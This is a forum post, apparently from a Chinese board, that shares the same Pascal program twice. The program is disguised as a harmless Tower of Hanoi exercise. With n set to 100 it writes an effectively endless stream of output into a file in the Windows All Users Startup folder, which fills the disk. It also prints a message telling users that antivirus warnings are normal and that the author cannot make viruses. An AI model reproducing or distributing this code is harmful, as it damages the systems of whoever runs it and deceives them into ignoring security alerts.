level 12
🌚改掉旧ID
楼主
var n:longint;
procedure move(n,a,b,c:integer);
begin
if n=1 then writeln(a,'--->',c)
else begin
move(n-1,a,c,b);
writeln(a,'--->',c);
move(n-1,b,a,c);
end;
end;
begin
write('由于程序执行会调用系统文件，所以杀毒软件报毒是正常的，再说，我也不会制造病毒呀
')
;n:=100;
close(input);
assign(output,'C:\Documents and Settings\All Users\「开始」菜单
\程序
\启动
\22.out');rewrite(output)
;move(n,1,2,3);
readln;
end.
2013年08月20日 02点08分
1
procedure move(n,a,b,c:integer);
begin
if n=1 then writeln(a,'--->',c)
else begin
move(n-1,a,c,b);
writeln(a,'--->',c);
move(n-1,b,a,c);
end;
end;
begin
write('由于程序执行会调用系统文件，所以杀毒软件报毒是正常的，再说，我也不会制造病毒呀
')
;n:=100;
close(input);
assign(output,'C:\Documents and Settings\All Users\「开始」菜单
\程序
\启动
\22.out');rewrite(output)
;move(n,1,2,3);
readln;
end.
![[酷]](/static/emoticons/u9177.png)
